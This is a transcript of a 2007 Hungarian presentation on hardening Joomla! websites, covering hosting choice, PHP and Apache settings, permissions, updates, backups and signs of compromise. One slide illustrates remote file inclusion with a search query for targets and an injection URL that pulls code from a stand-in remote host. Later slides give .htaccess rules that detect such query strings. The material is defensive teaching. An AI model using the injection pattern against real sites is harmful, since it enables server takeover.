a joomla! és a biztonság

21
2007.10.21. Budapest Hotel Flandria A Joomla! és a biztonság Hogyan tegyük bitzonságosabbá Joomla! oldalunkat Gyurkó Zoltán

Upload: tibor-toth

Post on 07-Jun-2015

721 views

Category:

Documents


3 download

TRANSCRIPT

Page 1: A Joomla! és a biztonság

2007.10.21.Budapest

Hotel Flandria

A Joomla! és a biztonságHogyan tegyük bitzonságosabbá Joomla! oldalunkat

Gyurkó Zoltán

Page 2: A Joomla! és a biztonság

Mi a támadások célja?

Programokat helyezzenek el a szerveren, és utána ezeket a kódokat le tudják futtatni.

Új fájlok létrehozása, feltöltése

Meglévő fájlok átírása

Page 3: A Joomla! és a biztonság

Mik a támadási felületek?

Rendszer (OPrendszer, ftp, apache, tomcat, cpanel stb)

Weboldal (felhasználók programjai)

Kliens gép (jelszó lopás)

Page 4: A Joomla! és a biztonság

Támadás módja Célzott:

• nagy látogatottságú oldalak, • „látogatókat megosztó” pl politikai, társadalmi

kérdésekkel kapcsolatos tartalmú oldalak,• Pl. online vásárláshoz fizetéshez szükséges

adatok megszerzése

Robotok, botok• Zombi gépek• Credit gyűjtés

Page 5: A Joomla! és a biztonság

Biztonságos -e a Joomla! ?

Igen, de fokozott körültekintést igényel. Közkedvelt célpont.

Biztonságosak e a komponensek/modulok/mambotok

/templétek? Tekintsük mindet nem biztonságosnak.

Page 6: A Joomla! és a biztonság

Mit lehet/kell tenni?

Kezeljük kiemelten fontos kérdésként! Foglalkozzunk vele!

Telepítés előtt Telepítés közben Fejlesztés alatt Publikálás után rendszeresen

Page 7: A Joomla! és a biztonság

Telepítés előtt:

Körültekintően válasszunk szolgáltatót!

Nem az a jó ami olcsó és biztos, hogy minden fut. Tájékozódjunk, kérdezzünk!. Oprendszer, szerver beállítások Php beállítások (phpinfo) –

register_globals, allow_url_fopen Apache beállítások (jogosultságok,

mod_security, .htaccess) Tűzfal beállítások

Page 8: A Joomla! és a biztonság

Telepítés közben:A legfrisebb stabill verziót telepítsük, és megbízható helyről töltsük le.

Register_globals emuláció: • globals.php - define( 'RG_EMULATION', 0 )

Fájl/könyvtár jogosultságok: 777 jogosultságot kerüljük

Ne válasszunk nyilvánvaló jelszavakat

Page 9: A Joomla! és a biztonság

Fejlesztés alatt:

Ne az éles oldalon fejlesszünk, kísérletezzünk!

Mindig ellenőrizzük, hogy nem szerepel e a veszélyes komponensek/pluginok között. (http://help.joomla.org/component/option,com_easyfaq/task,view/id,186/Itemid,268/ )

Lehetőleg a hivatalos honlapról töltsünk le a legfrissebb stabil verziót, (ne kisérletezzünk igéretes beta verziókkal)

Page 10: A Joomla! és a biztonság

Fejlesztés közben: Mindig nézzük meg a dátumokat, ha már évek óta nem

fejlesztik, vagy nem frissítik a honlapot, akkor ne használjuk.

Olvassuk el a felhasználók hozzászólásait is (ezt nem feltétlenül a hivatalos honlapon )

Ha van bugtracker, akkor nézzük meg küldtek e biztonsági hibákat, és javították e már

Először egy fejlesztői oldalon teszteljük, (pl. le lehet e tiltani hogy a webről közvetlenül elérjék)

Page 11: A Joomla! és a biztonság

URL injectionVeszelyeskomponens.php

include($mosConfig_absolute_path.’mysettings.php’); http://www.google.hu/search?q=com_veszelyeskomponens

=> http://celpont.net

http://celpont.net/administrator/components/com_veszelyeskomponens/veszelyeskomponens.php

veszelyeskompnens.php?mosConfig_absolute_path=http://zombigep.net/eldugottkonyvtar

include(’http://zombigep.net/eldugottkonyvtar/mysettings.php’)// allow_url_fopen

Page 12: A Joomla! és a biztonság

URL injection: védekezés

Ami nem szükséges az ne legyen elérhető a webről

.htaccess

Order allow,deny

Page 13: A Joomla! és a biztonság

URL injection: védekezés.htaccess

# Block out any script trying to set a mosConfig value through the URLRewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]

# Block out any script trying to base64_encode crap to send via URLRewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]

# Block out any script that includes a <script> tag in URLRewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

# Block out any script trying to set a PHP GLOBALS variable via URLRewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

# Block out any script trying to modify a _REQUEST variable via URLRewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

Page 14: A Joomla! és a biztonság

Csak az legyen elérhető a webről ami szükséges

/index.php

/index2.php

/images

/templates (!!!)

/administrator/index.php

/administrator/index2.php

/administrator/index3.php

/administrator/images/

/administrator/templates/

Page 15: A Joomla! és a biztonság

URL injection: védekezés

Minden fájl így kezdődjön:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

// index.php: define( '_VALID_MOS', 1 );

legyen index.html

(vagy directoryindex index.php)

Page 16: A Joomla! és a biztonság

uploads temp könyvtár

Különösen veszélyes. Semmiképp ne legyen a webről elérhető könyvtárak között

Page 17: A Joomla! és a biztonság

Publikálás előtt: Töröljünk mindent ami nem kell (/installation,

template-ek)

Fájl/könyvtár jogosultságokat állítsuk be (644, 755)

Biztonsági beállítások (.htaccess, php.ini, IP korlátozások)

Backup

Page 18: A Joomla! és a biztonság

Publikálás után rendszeresen:

Rendszeresen ellenőrizzük jelent e meg frissítés. A Joomlánál is de főleg az utólag telepített komponensek/pluginok/moduloknál (mindegyiknél!)

Rendszeresen ellenőrizzük nem került e fel a veszélyes kiegészítők közé

Gyakran változtassuk a jelszavakat. Rendszeresen + minden módosítás előtt

MENTÉS

Page 19: A Joomla! és a biztonság

Honnan tudjuk hogy feltörték az oldalunkat?

Gyakran nincsenek látható jelek! Megpróbálják elrejteni, sokszor csak egy „jelre” várnak, hogy aktiválódjanak (zombi gépek).

Valószínű: Látható jelei vannak az oldalon (pl. felülírták az index.php, az

adatbázisban átírták a cikkeket stb) „Idegen” kód a forrásban (iframe, <script>, <embed>). Általában kódolt, pl

ASCII, BASE64 kiugró látogatottság böngésző biztonsági üzenet trójai- víruspajzs figyelmeztetés

Gyanús: korbábban működő komponensek, modulok nem vagy furcsán működnek nem törölhető könyvtárak

Page 20: A Joomla! és a biztonság

Ha megvan a baj

FONTOS! Nem elég csak a hibás komponenst frissíteni!

Állítsuk vissza a legutóbbi mentésből a támadás előtti állapotot és utána frissítsünk

Page 21: A Joomla! és a biztonság

2007.10.21.Budapest

Hotel Flandria

Click to edit company slogan .